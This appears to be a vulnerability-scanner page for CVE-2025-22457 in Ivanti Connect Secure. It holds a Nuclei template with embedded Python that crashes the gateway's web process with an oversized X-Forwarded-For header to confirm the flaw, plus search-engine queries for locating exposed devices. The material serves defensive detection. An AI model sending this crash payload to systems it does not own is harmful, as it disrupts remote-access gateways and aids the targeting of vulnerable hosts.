Ivanti Connect Secure - Stack-based Buffer Overflow
CVE-2025-22457
Verified
Description
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4, and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by improper input handling, allowing remote attackers to execute arbitrary code without authentication.
Severity
Critical
CVSS Score
9
Exploit Probability
59%
Affected Product
connect_secure
Published Date
August 30, 2025
Template Author
s4e-io, pussycat0x
CVE-2025-22457.yaml
id: CVE-2025-22457
info:
name: Ivanti Connect Secure - Stack-based Buffer Overflow
author: s4e-io,pussycat0x
severity: critical
description: |
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
improper input handling, allowing remote attackers to execute arbitrary code without authentication.
impact: |
Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
remediation: |
Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
reference:
- https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
- https://www.cvedetails.com/cve/CVE-2025-22457
- https://github.com/securekomodo/CVE-2025-22457
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.58941
epss-percentile: 0.98249
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
product: connect_secure
shodan-query: http.title:"ivanti connect secure"
fofa-query: title="ivanti connect secure"
zoomeye-query: title:"ivanti connect secure"
google-query: intitle:"ivanti connect secure"
tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
flow: http(1) && code(1)
http:
- method: GET
path:
- "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
matchers:
- type: dsl
internal: true
dsl:
- 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
- 'status_code == 200'
condition: and
code:
- engine:
- py
- python3
source: |
import os
import time
import requests
import re
requests.packages.urllib3.disable_warnings()
PATHS = [
"/dana-na/auth/url_default/welcome.cgi",
"/dana-na/setup/psaldownload.cgi",
]
IVANTI_MARKERS = [
"Ivanti Connect Secure",
"Pulse Secure",
"DSLaunchURL",
"welcome.cgi",
"dana-na",
]
TIMEOUT_NORMAL = 5
TIMEOUT_PAYLOAD = 10
def safe_request(method, url, headers=None, timeout=5):
try:
if method == "GET":
return requests.get(url, headers=headers, timeout=timeout, verify=False)
elif method == "POST":
return requests.post(url, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.RequestException:
return None
class IvantiExploit:
def __init__(self, host, port):
self.host = host.rstrip("/")
self.port = port
def build_url(self, path):
host = self.host
if not host.startswith("http://") and not host.startswith("https://"):
host = f"https://{host}"
return f"{host}:{self.port}{path}"
def is_ivanti(self, response_text):
for marker in IVANTI_MARKERS:
if marker in response_text:
return True
return False
def check_vuln(self):
for path in PATHS:
url = self.build_url(path)
# Step 1: Pre-check - must be reachable, return 200, and be Ivanti
r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
if not r1 or r1.status_code != 200:
continue
if not self.is_ivanti(r1.text):
print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
return False
print(f"Ivanti fingerprint confirmed on {url}")
# Step 2: Send crash payload - POST with oversized X-Forwarded-For
# A vulnerable server will CRASH (no response / timeout)
# A patched or non-vulnerable server will respond normally
payload_headers = {
"User-Agent": "Mozilla/5.0",
"X-Forwarded-For": "1" * 2048,
}
r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)
if r2 is not None:
# Server responded normally = NOT crashed = NOT vulnerable
print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
continue
# r2 is None = no response = potential crash
print("No response to payload (potential crash detected). Verifying...")
# Step 3: Follow-up check - server should recover and return 200
# Ivanti's web process auto-restarts after crash
time.sleep(2)
r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
if r3 is not None and r3.status_code == 200:
print(f"VULNERABLE: {self.host}:{self.port}{path}")
return True
else:
status = r3.status_code if r3 else "no response"
print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
continue
print("Target appears safe.")
return False
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port")
IvantiExploit(host, port).check_vuln()
matchers:
- type: word
words:
- "VULNERABLE:"
# digest: 490a0046304402201fd59ffb29dfd274ef37b12ed098a3b307c98825cd44100555b0808fbccb100d0220320594171a2c8c3ed2b81d0720227c2e1ea33c02d85def5912c903d9a671bb31:922c64590222798bb761d5b6d8e729509.0Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2025-22457
CWE ID:
cwe-121, cwe-787
Remediation Steps
Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.